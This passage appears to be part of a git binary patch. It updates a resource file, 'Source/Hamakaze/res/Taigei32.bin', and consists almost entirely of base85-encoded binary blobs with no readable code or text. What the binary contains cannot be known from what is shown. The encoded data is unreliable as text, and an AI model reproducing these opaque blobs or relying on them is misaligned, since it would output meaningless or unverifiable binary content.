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 diff --git a/Source/Hamakaze/res/Taigei32.bin b/Source/Hamakaze/res/Taigei32.bin index a29a0e4ecf720ffaad23a7f9bb5e3fcf3af66495..66aa218df3ff4ae9f73ce75ad9d6088f2bb215f3 100644 GIT binary patch literal 2905 zcmV-f3#Rn2fUq||vQRRkcLA_^=Bt-zRJd2XtDm+YY7zd|m^g6Y!5g&<9;LapR2x0$ zb(T(&nDbvIkQMLxB`IAyMOw+SBR^nNzM->ni4mRIw5QxW6WjL7yW_5TV#EvQu#Mu8 z`IM^MB62Xb2Z)xf))BC$v%Y3m;(6jtS8mgQ-(uBik`>|!nqlw@#=g07=4VIUG^WvT z+k?k%4Y%9G%F;Uy#h=`AO~g{;!+e;j=!V=zp39+P=&Xx?WrCQgwxmp0|9)L*g(267uOL>l+B*%dOnr|(lJ~3Cp?qHRo1nMBl92E) z&$&5+6pE8h_Ra{7NL9ql)|Jh#SY*Xv;Dk2M55+Xk$X~P)Z7v@>_`|M){+Z(ql4Mi& zh?o@mf)o5MHl3fJ&RY~?&v%qGz=_g3wo)3R;B8>DhSgpLqJA239)i)9Dm!u#Z~Poa zc_|n70|J{gs#}lFWI@b);|Lo0_K&&b5A4#pLw+B^71?n-K|eHO8U6K4DJ;Y@a6L(v zW{Qi`Gp(OI@?3B@4l73@umR`jP3Oov9Z23vyd3Rn}*)R@W|riRyZc6fFo^Ymp=eIX*P@R(5uK_75)%v zZ!Ll=kF~aY^hX+z?}Pr2~2k)FKP$5|P&b4~E&4s~AGi{p>8?E6I|0{M^wD%_EP%aOPWR=rZ27iizZo>bp zpKs(pbMM^>O;53>@x$_mGj#Hm$w~&SVRKmA&j!P;sgU+8B%x7ku?EEfhuQ5^ z5EOm8PwfL(Bb{bkB2PpTsI2q4N`Mw{r@=*Xv0+9TlYQlkc+s|s&x+SGJhAT#auTRk z(%$omF^pTEx)Lo(X*I9Wo=kqHvsnFWiMvup4^vtmF&_y?Rv>ne$ebDO8Apsym1<&T zS!iL|gWWT^Xi9$eZJd!sRID#gUd^&kX_6Eh7?f(FM>|^dt+o z^SG}|l5kS^8qC8B}HCV zzFsl^UuzBjL=b1uER>A1K*U2RCIdJUTyV__-o-xIWjTY4u_X+iVWZ*{USasmRE%{{ zrDdf8GRA3hY=4R0j`T{6E59(y?IdtwvbnM;$67q7>6Bi%_uX#plABLGR1QbdLn!7a;8?(pHH&W{ z#LGzC#_&6}o!I1j677@G@$FFm{a zO!m2D@w%mj;2e-WV4o`emm?Sp^e@dE^zfFhp|N( zCF7HK98*7fVqiwwQT@VK)r)IfiT8VQ7oi82L?2nnL+R}^<5Khu?qly0`Ami>X^Z(K z1D~}3f;Y4FIA4bP9PH;8BdttH;@nV<_>qs0rf-c>dKr*PZiVkzf@;EgZXV5f1%1+A z;mnw7t{r?ebTy;&2~~4yi1>4@fWpdvcgh&jZ2x)nKl+02tkIhrHuYzSLtZxRfYM?#6)zuRP^I!h<6Xb#9%RmFQU9!@HXV17Dlt zs8Ylb5b|H!q6N_4|5O|_s@X@dI)42ST24*8wD?>EZb0_fuLu7Eo|`Hyn9d$XTxEfO zlr??0^=a@qL4z|x)38n1{kgl6Guh+h!fKV5tj4OK3t4-<%8}CS8jMmH`6_eJs!N>r zfyAloUmo*rxCD;5Xa9o>ZG~qVNO8Q#z%0u*rX7JP<65I?JhkiKQY)k>MOFm!P(-a~PSclv4$ z6JEVe5-cW9<@XG4K|_pmEBP2P*wPO|Ae#=x}fsrPPO$q4U^dR&+E^B5t^(kw1A zK$ZaDM8hbbBju>w5dD(BMC{Uf~bAV;!wKlpzqgb_) z z073X=zhtrK3~SnZ*Jz`{_Mo+@F$MWkQ!*Xc>X1ioID&=F>55 Da4EB- literal 2622 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 